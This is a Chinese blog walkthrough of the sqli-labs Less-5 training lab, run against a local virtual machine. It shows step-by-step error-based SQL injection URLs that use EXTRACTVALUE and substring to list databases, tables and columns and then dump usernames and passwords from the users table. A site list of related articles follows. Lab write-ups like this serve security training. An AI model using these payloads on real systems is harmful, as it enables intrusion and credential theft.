sqli-labs靶场第五关less-5

sqli-labs less-5

本次测试由虚拟机搭建靶场,主机浏览器中基于hackbar插件进行测试

1、确定注入点及注入类型

输入:

http://192.168.128.3/sq/Less-5/?id=1

http://192.168.128.3/sq/Less-5/?id=2

发现页面回显都一致,

输入

http://192.168.128.3/sq/Less-5/?id=1'

页面回显报错

从报错判断多了个 ' ,确定闭合为*' '* ,

2、确定列数

输入

http://192.168.128.3/sq/Less-5/?id=1' order by 5--+

http://192.168.128.3/sq/Less-5/?id=1' order by 4--+

http://192.168.128.3/sq/Less-5/?id=1' order by 3--+

发现5,4都报错,3的时候页面回显与之前一致,确定由三列

3、确定回显位

http://192.168.128.3/sq/Less-5/?id=1' union select 1,2,3--+

无回显,结合前面出现的单引号与确定列数页面出现报错可判断出,此关可使用报错注入

本次我使用 EXTRACTVALUE() 函数进行报错注入。

函数原型

EXTRACTVALUE(xml_data, xpath_expression)

extractvalue()函数原理可参考我写的另外一篇文章
报错注入函数基础知识详解

或者另外一位博主讲的:sql注入之报错注入

使用报错注入确定回显

http://192.168.128.3/sq/Less-5/?id=1' union select 1,extractvalue(1,concat(0x7e,(select database()))),3--+

  • 0x7e转码后为 ~ ,加入~目的是为了让后面的路径故意报错

使用了extractvalue函数,将xml数据设置为1,xpath_expression部分设置为concat(0x7e,(select database())

此时的xpath_expression为"~数据库名",由于1中并没有"~数据库名"因此会产生报错,可以从报错结果中看到我们想要的数据库名

故此查询到数据库名

http://192.168.128.3/sq/Less-5/?id=1' union select 1,extractvalue(1,concat(0x7e,(select version()))),3--+

  • 版本名

3、爆出所有数据库名

http://192.168.128.3/sq/Less-5/?id=1' union select 1,extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))),3--+

**由此爆出了数据库名,但是由于此报错注入一次返回的字符只能由32位,这时我们可以借助substring函数

例如:select substring(123456,1,3);

输出 123

于是我们可以使用

http://192.168.128.3/sq/Less-5/?id=1' union select 1,extractvalue(1,concat(0x7e,substring(((select group_concat(schema_name) from information_schema.schemata)),1,30))),3--+

来显示从第一个字符开始的前三十个,然后使用

http://192.168.128.3/sq/Less-5/?id=1' union select 1,extractvalue(1,concat(0x7e,substring(((select group_concat(schema_name) from information_schema.schemata)),30,30))),3--+

发现还没有显示完全,接着

http://192.168.128.3/sq/Less-5/?id=1' union select 1,extractvalue(1,concat(0x7e,substring(((select group_concat(schema_name) from information_schema.schemata)),60,30))),3--+

显示完整,三次报错显示结果如下:

得到完整的数据库

4、爆出security的所有表名

http://192.168.128.3/sq/Less-5/?id=1' union select 1,extractvalue(1,concat(0x7e,substring(((select group_concat(table_name) from information_schema.tables where table_schema=database())),1,30))),3--+

http://192.168.128.3/sq/Less-5/?id=1' union select 1,extractvalue(1,concat(0x7e,substring(((select group_concat(table_name) from information_schema.tables where table_schema=database())),30,30))),3--+

得到想要的表名 users

5、爆出列名

http://192.168.128.3/sq/Less-5/?id=1' union select 1,extractvalue(1,concat(0x7e,substring(((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1,30))),3--+

6、爆出数据

http://192.168.128.3/sq/Less-5/?id=1' union select 1,extractvalue(1,concat(0x7e,substring(((select group_concat(username,' ',password) from security.users)),1,30))),3--+

http://192.168.128.3/sq/Less-5/?id=1' union select 1,extractvalue(1,concat(0x7e,substring(((select group_concat(username,' ',password) from security.users)),30,30))),3--+

剩下数据显示出来与上面同理
至此,大功告成

相关推荐
xiao-xiang7 分钟前
jenkins-通过api获取所有job及最新build信息
前端·servlet·jenkins
深蓝海拓16 分钟前
Pyside6(PyQT5)中的QTableView与QSqlQueryModel、QSqlTableModel的联合使用
数据库·python·qt·pyqt
深圳讯鹏科技19 分钟前
新能源工厂如何借助防静电手环监控系统保障生产安全
安全·防静电监控系统·esd防静电监控系统·防静电监控看板
GIS数据转换器21 分钟前
城市生命线安全保障:技术应用与策略创新
大数据·人工智能·安全·3d·智慧城市
C语言魔术师23 分钟前
【小游戏篇】三子棋游戏
前端·算法·游戏
匹马夕阳2 小时前
Vue 3中导航守卫(Navigation Guard)结合Axios实现token认证机制
前端·javascript·vue.js
你熬夜了吗?2 小时前
日历热力图,月度数据可视化图表(日活跃图、格子图)vue组件
前端·vue.js·信息可视化
C嘎嘎嵌入式开发2 小时前
什么是僵尸进程
服务器·数据库·c++
hao_wujing3 小时前
网络安全大模型和人工智能场景及应用理解
安全·web安全
Yeats_Liao4 小时前
Navicat 导出表结构后运行查询失败ERROR 1064 (42000): You have an error in your SQL syntax;
数据库·sql